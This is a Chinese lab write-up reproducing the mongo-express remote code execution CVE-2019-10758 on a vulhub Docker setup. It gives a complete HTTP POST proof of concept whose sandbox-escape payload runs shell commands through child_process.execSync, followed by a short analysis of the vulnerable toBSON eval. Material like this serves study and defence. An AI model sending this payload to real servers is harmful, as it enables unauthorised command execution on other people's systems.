mongo-express 代码执行 (cve-2019-10758)

1.环境搭建

项目地址：

vulhub/mongo-express/CVE-2019-10758 at master · vulhub/vulhub (github.com)

拉取项目：

git clone https://github.com.cnpmjs.org/vulhub/vulhub.git

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m0qN0Cum-1640341732202)(https://cdn.jsdelivr.net/gh/QJLONG/HUMMER-PIC@master/img/20211224172635.png)]

安装docker-compose：

curl -L https://github.com/docker/compose/releases/download/1.27.4/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
chmod 775 docker-compose

回到项目的目录

docker-compose up -d

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aLzMjoxL-1640341732205)(https://cdn.jsdelivr.net/gh/QJLONG/HUMMER-PIC@master/img/20211224174132.png)]

浏览器访问192.168.2.101:8081

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B9XmvyS7-1640341732207)(https://cdn.jsdelivr.net/gh/QJLONG/HUMMER-PIC@master/img/20211224174928.png)]

2.漏洞利用

POC如下：

POST /checkValid HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch  /tmp/hummer")

抓包，修改http头重放即可执行命令

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zTA2WYoU-1640341732208)(https://cdn.jsdelivr.net/gh/QJLONG/HUMMER-PIC@master/img/20211224175548.png)]

查看结果：

3.漏洞分析

在toBSON函数中，参数string被放进vm沙箱中eval，Vm 模块提供了用于在 v8虚拟机上下文中编译和运行代码的 api。使用 VM 模块可以在沙箱环境中运行代码。沙箱代码使用不同的 v8上下文，这意味着它具有不同于代码其余部分的全局对象。vm在利用漏洞的时候逃逸出vm沙箱即可执行任意命令。

关于vm沙箱详细信息参考Sandboxing NodeJS is hard, here is why (pwnisher.gitlab.io)

toBSON函数的参数来源于req.body.document

所以我么构造的POC如下：

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/hummmer")

参考：

CVE-2019-10758:mongo-expressRCE复现分析 - 先知社区 (aliyun.com)